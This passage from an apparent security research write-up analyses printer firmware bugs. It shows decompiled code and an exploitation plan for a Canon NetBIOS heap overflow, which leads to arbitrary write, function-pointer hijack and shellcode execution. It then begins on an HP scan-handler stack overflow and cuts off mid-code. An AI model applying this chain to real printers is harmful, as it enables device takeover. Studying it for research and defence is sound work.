class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">v18</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="n">labellen_</span> <span class="o">=</span> <span class="n">labellen</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">maxlen</span> <span class="o">&gt;</span> <span class="n">labellen</span> <span class="p">)</span> <span class="p">{</span> <span class="n">memcpy</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">domain_name</span><span class="p">,</span> <span class="n">label_</span><span class="p">,</span> <span class="n">labellen_</span><span class="p">,</span> <span class="n">v19</span><span class="p">);</span> <span class="n">v23</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">domain_name</span><span class="p">[</span><span class="n">labellen_</span><span class="p">];</span> <span class="n">maxlan</span> <span class="o">-=</span> <span class="n">labellen_</span><span class="p">;</span> <span class="c1">// ---------- [2] // it does not subtract the length of "."</span> <span class="o">*</span><span class="n">v23</span> <span class="o">=</span> <span class="n">v5</span><span class="p">;</span> <span class="n">domain_name</span> <span class="o">=</span> <span class="n">v23</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">);</span> <span class="o">*</span><span class="p">(</span><span class="n">domain_name</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="n">assset</span><span class="p">(</span><span class="s">"netcifsnqecorelib/IMP/nq/cmnbname.c"</span><span class="p">,</span> <span class="mh">0x44A86D7C</span><span class="p">,</span> <span class="mi">634</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span> <span class="k">return</span> <span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">logg</span><span class="p">(</span><span class="s">"netcifsnqecorelib/IMP/nq/cmnbname.c"</span><span class="p">,</span> <span class="mh">0x44A86D7C</span><span class="p">,</span> <span class="mi">595</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>The function <code class="language-plaintext highlighter-rouge">cmNetBiosParseName</code> will parse the domain from the label in the NetBIOS packet to the domain_name buffer and it has a verification. The verification will check that the total length of the label could not larger than maxlen, and a <code class="language-plaintext highlighter-rouge">"."</code> will be added between each label. But it does not subtract the length of <code class="language-plaintext highlighter-rouge">"."</code> characters so that the total length of the label can be larger than <code class="language-plaintext highlighter-rouge">maxlen</code>. It will lead to overflow.</p> <p><strong>Exploitation</strong></p> <p>Luckily, there is a useful structure <code class="language-plaintext highlighter-rouge">nb_info</code> to achieve our goal. We can use the heap overflow to overwrite the structure of <code class="language-plaintext highlighter-rouge">nb_info</code>.</p> <p>The layout of heap memory:</p> <p><img src="/assets/img/blog/20231106/5.png" alt="" /></p> <p>The structure of <code class="language-plaintext highlighter-rouge">nb_info</code> and <code class="language-plaintext highlighter-rouge">Adapter</code>:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">nb_info</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">active</span><span class="p">;</span> <span class="kt">char</span> <span class="n">nbname</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="kt">int</span> <span class="n">x</span><span class="p">;</span> <span class="kt">int</span> <span class="n">y</span><span class="p">;</span> <span class="kt">short</span> <span class="n">z</span><span class="p">;</span> <span class="kt">short</span> <span class="n">src_port</span><span class="p">;</span> <span class="kt">short</span> <span class="n">tid</span><span class="p">;</span> <span class="kt">short</span> <span class="n">w</span><span class="p">;</span> <span class="n">Adapter</span> <span class="o">*</span><span class="n">adapter</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span> <span class="kt">int</span> <span class="n">state</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>The structure is used to store NetBIOS name information, it also has a member <code class="language-plaintext highlighter-rouge">Adapter</code> to store the information of connection.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">Adapter</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span> <span class="n">_BYTE</span> <span class="n">gap0</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="kt">int</span> <span class="n">x</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd_1022</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd_1023</span><span class="p">;</span> <span class="kt">int</span> <span class="n">y</span><span class="p">;</span> <span class="n">_WORD</span> <span class="n">src_port</span><span class="p">;</span> <span class="n">_DWORD</span> <span class="n">src_ip</span><span class="p">;</span> <span class="kt">int</span> <span class="n">vvv</span><span class="p">;</span> <span class="kt">int</span> <span class="n">packet</span><span class="p">;</span> <span class="n">_DWORD</span> <span class="n">recv_bytes</span><span class="p">;</span> <span class="kt">char</span><span class="o">*</span> <span class="n">response_buf</span><span class="p">;</span> <span class="n">_DWORD</span> <span class="n">dword3C</span><span class="p">;</span> <span class="p">};</span> </code></pre></div></div> <p>Let’s back to <code class="language-plaintext highlighter-rouge">ndNameProcessExternalMessage</code>, if the flag of NetBIOS-NS packet is set to <code class="language-plaintext highlighter-rouge">0xA801</code>, it will use <code class="language-plaintext highlighter-rouge">ndInternalNameNegativeRegistration</code> to process our NetBIOS name. The result will be written to <code class="language-plaintext highlighter-rouge">Adapter-&gt;responsebuf</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">case</span> <span class="mh">0xA801</span><span class="p">:</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndInternalNameNegativeRegistration</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">);</span> <span class="k">goto</span> <span class="n">LABEL_17</span><span class="p">;</span> </code></pre></div></div> <p>At <code class="language-plaintext highlighter-rouge">ndInternalNameNegativeRegistration</code> :</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">ndInternalNameNegativeRegistration</span><span class="p">(</span><span class="n">Adapter</span> <span class="o">*</span><span class="n">adapter</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v8</span> <span class="p">)</span> <span class="p">{</span> <span class="n">returnNegativeRegistrationResponse</span><span class="p">((</span><span class="n">nb_info</span> <span class="o">*</span><span class="p">)</span><span class="n">v6</span><span class="p">,</span> <span class="n">adapter</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span> <span class="p">}</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>If the conditions are met, it will use ‘returnNegativeRegistrationResponse’ to handle the Response.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">returnNegativeRegistrationResponse</span><span class="p">(</span><span class="n">nb_info</span> <span class="o">*</span><span class="n">nbinfo</span><span class="p">,</span> <span class="n">Adapter</span> <span class="o">*</span><span class="n">adapter</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r2</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">response_buf</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">NameWhateverResponse</span><span class="p">;</span> <span class="c1">// r2</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">v10</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span> <span class="c1">// [sp+4h] [bp-2Ch] BYREF</span> <span class="kr">__int16</span> <span class="n">v11</span><span class="p">;</span> <span class="c1">// [sp+18h] [bp-18h] BYREF</span> <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// [sp+1Ah] [bp-16h] BYREF</span> <span class="n">maybe_memcpy_s</span><span class="p">(</span><span class="n">v10</span><span class="p">,</span> <span class="mh">0x44ED3100</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span> <span class="n">sub_41C47A20</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"netcifsnqendapp/IMP/nq/ndinname.c"</span><span class="p">,</span> <span class="mh">0x44ED30DC</span><span class="p">,</span> <span class="mi">2349</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">v11</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">sub_40B06FD8</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">adapter</span><span class="o">-&gt;</span><span class="n">gap0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v12</span><span class="p">);</span> <span class="n">response_buf</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">netbios_header</span> <span class="o">**</span><span class="p">)</span><span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">adapter</span><span class="o">-&gt;</span><span class="n">responsebuf</span><span class="p">;</span> <span class="n">NameWhateverResponse</span> <span class="o">=</span> <span class="n">ndGenerateNameWhateverResponse</span><span class="p">(</span><span class="n">response_buf</span><span class="p">,</span> <span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v11</span><span class="p">,</span> <span class="mi">6u</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">NameWhateverResponse</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">response_buf</span><span class="o">-&gt;</span><span class="n">id</span> <span class="o">=</span> <span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">;</span> <span class="c1">//------[3]</span> <span class="n">response_buf</span><span class="o">-&gt;</span><span class="n">flag</span> <span class="o">=</span> <span class="n">__rev16</span><span class="p">(</span><span class="n">a3</span> <span class="o">|</span> <span class="mh">0xA800</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">sySendToSocket</span><span class="p">(</span> <span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">adapter</span><span class="o">-&gt;</span><span class="n">fd_1022</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">response_buf</span><span class="p">,</span> <span class="n">NameWhateverResponse</span><span class="p">,</span> <span class="n">v10</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">src_port</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">logg</span><span class="p">(</span><span class="s">"netcifsnqendapp/IMP/nq/ndinname.c"</span><span class="p">,</span> <span class="mh">0x44ED30DC</span><span class="p">,</span> <span class="mi">2392</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span> <span class="n">v6</span> <span class="o">=</span> <span class="mi">2393</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="mi">2396</span><span class="p">;</span> <span class="p">}</span> <span class="k">goto</span> <span class="n">LABEL_9</span><span class="p">;</span> <span class="p">}</span> <span class="n">assset</span><span class="p">(</span><span class="s">"netcifsnqendapp/IMP/nq/ndinname.c"</span><span class="p">,</span> <span class="mh">0x44ED30DC</span><span class="p">,</span> <span class="mi">2372</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>In <code class="language-plaintext highlighter-rouge">[3]</code>, it will overwrite <code class="language-plaintext highlighter-rouge">response_buf-&gt;id</code> with <code class="language-plaintext highlighter-rouge">nbinfo-&gt;id</code>.</p> <p>That is, if we can overwrite the <code class="language-plaintext highlighter-rouge">nb_info</code> structure and forge the structure of the <code class="language-plaintext highlighter-rouge">Adapter</code>, we can do arbitrary memory writing. We need to find a global buffer to forge the structure. We finally chose BJNP session buffer as our target. It will copy our payload when we start a BJNP session.</p> <p>After we have arbitrary memory writing. We can overwrite the function pointer of SLP service with BJNP session buffer pointer.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">sub_4159CF90</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="n">result</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="kt">int</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">))</span><span class="n">dword_45C8FF14</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">v20</span><span class="p">])(</span><span class="o">&amp;</span><span class="n">v38</span><span class="p">,</span> <span class="n">v47</span><span class="p">);</span><span class="c1">// SLP function</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">result</span> <span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_46</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>It does not implement DEP. After overwriting the function pointer, we can use the BJNP session buffer again to put our shellcode. After that, we can use the SLP attribute request to control the PC and run our shellcode.</p> <h3 id="hp-1">HP</h3> <p>Our target this time is the <code class="language-plaintext highlighter-rouge">HP Color LaserJet Pro M479fdw</code> printer, which is primarily Linux-based. This makes the analysis relatively simpler. Under the Web Service, there are numerous ‘cgi’ files providing various printer operations. These operate via the FastCGI method. You can refer to the nginx config to see which path corresponds to which port and service. The config can be found at rootfs/sirius/rom/httpmgr_nginx.</p> <p><code class="language-plaintext highlighter-rouge">/Sirius/rom/httpmgr_nginx/ledm.conf</code> <img src="/assets/img/blog/20231106/6.png" alt="" /></p> <p><strong>Where is the bug</strong></p> <p><code class="language-plaintext highlighter-rouge">/usr/bin/local/slanapp</code> is responsible for handling scan-related operations and primarily listens on 127.0.0.1:14030.</p> <p>We can see from rootfs/sirius/rom/httpmgr_nginx/rest_scan.conf : <img src="/assets/img/blog/20231106/7.jpg" alt="" /></p> <p>If we access /Scan/Jobs, the request is forwarded to a FastCGI listening on the 14030 port. After analysis, we found that it was handled by /rootfs/usr/local/bin/slangapp. When we send a request to /Scan/Jobs, it will call scan_job_http_handler in slangapp.</p> <p><strong>Where is the bug</strong></p> <p>There is a stack overflow at rest_scan_handle_get_request in <code class="language-plaintext highlighter-rouge">slangapp</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">scan_job_http_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="kt">int</span> <span class="n">request_method</span><span class="p">;</span> <span class="c1">// [sp+14h] [bp-2Ch]</span> <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">;</span> <span class="c1">// [sp+18h] [bp-28h] BYREF</span> <span class="kt">int</span> <span class="n">port</span><span class="p">;</span> <span class="c1">// [sp+20h] [bp-20h] BYREF</span> <span class="kt">char</span> <span class="o">*</span><span class="n">uri</span><span class="p">;</span> <span class="c1">// [sp+28h] [bp-18h] BYREF</span> <span class="kt">int</span> <span class="n">pathinfo</span><span class="p">;</span> <span class="c1">// [sp+30h] [bp-10h] BYREF</span> <span class="kt">int</span> <span class="n">urilen</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// [sp+38h] [bp-8h] BYREF</span> <span class="kt">int</span> <span class="n">pathinfo_len</span><span class="p">;</span> <span class="c1">// [sp+40h] [bp+0h] BYREF</span> <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">132</span><span class="p">];</span> <span class="c1">// [sp+44h] [bp+4h] BYREF</span> <span class="kt">char</span> <span class="n">dest</span><span class="p">[</span><span class="mi">260</span><span class="p">];</span> <span class="c1">// [sp+C8h] [bp+88h] BYREF</span> <span class="n">host</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x81u</span><span class="p">);</span> <span class="n">port</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="n">uri</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">pathinfo</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">urilen</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">pathinfo_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">memset</span><span class="p">(</span><span class="n">byte_5DBD0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x9C4u</span><span class="p">);</span> <span class="n">v2</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">acceptRequestHelper</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">getURI</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">uri</span><span class="p">,</span> <span class="n">urilen</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pathinfo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pathinfo_len</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="n">_DEBUG_syslog</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"REST_SCAN_DEBUG"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1193517589</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">v17</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="k">if</span><span class="p">...</span> <span class="nl">LABEL_7:</span> <span class="n">request_method</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">getVerb</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">v3</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">getContentLength</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span> <span class="n">v4</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">v3</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mh">0x9C2</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span> <span class="n">v15</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">do</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">&gt;=</span> <span class="mi">2500</span> <span class="p">)</span> <span class="n">v14</span> <span class="o">=</span> <span class="mi">2500</span><span class="p">;</span> <span class="n">v16</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">httpmgr_recvData</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">byte_5DBD0</span><span class="p">[</span><span class="n">v15</span><span class="p">],</span> <span class="n">v14</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v16</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="n">v15</span> <span class="o">+=</span> <span class="n">v16</span><span class="p">;</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">v15</span><span class="p">;</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">v15</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">);</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">dword_5DBC8</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v15</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v17</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">_DEBUG_syslog</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"REST_SCAN_DEBUG"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x475DA215</span><span class="p">,</span> <span class="n">v15</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">&gt;</span> <span class="mh">0x9C3</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">do</span> <span class="p">{</span> <span class="k">while</span> <span class="p">(</span> <span class="mi">2500</span> <span class="o">-</span> <span class="n">v5</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">httpmgr_recvData</span><span class="p">)(</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="n">v5</span> <span class="o">+=</span> <span class="n">v6</span><span class="p">;</span> <span class="p">}</span> <span class="n">v7</span> <span class="o">=</span> <span class="n">v5</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="o">!</span><span class="n">v7</span> <span class="p">);</span> <span class="p">}</span> <span class="n">v8</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">getHost</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">host</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">port</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">v9</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">completeRequestHelper</span><span class="p">)(</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v9</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="k">do</span> <span class="p">{</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">do</span> <span class="p">{</span> <span class="k">while</span> <span class="p">(</span> <span class="mi">2500</span> <span class="o">-</span> <span class="n">v10</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v11</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="p">))(</span><span class="o">*</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">httpmgr_recvData</span><span class="p">)(</span><span class="n">rest_scan_req_ifc_tbl</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v11</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="k">break</span><span class="p">;</span> <span class="n">v10</span> <span class="o">+=</span> <span class="n">v11</span><span class="p">;</span> <span class="p">}</span> <span class="n">v7</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="o">!</span><span class="n">v7</span> <span class="p">);</span> <span class="n">v12</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="k">struct</span> <span 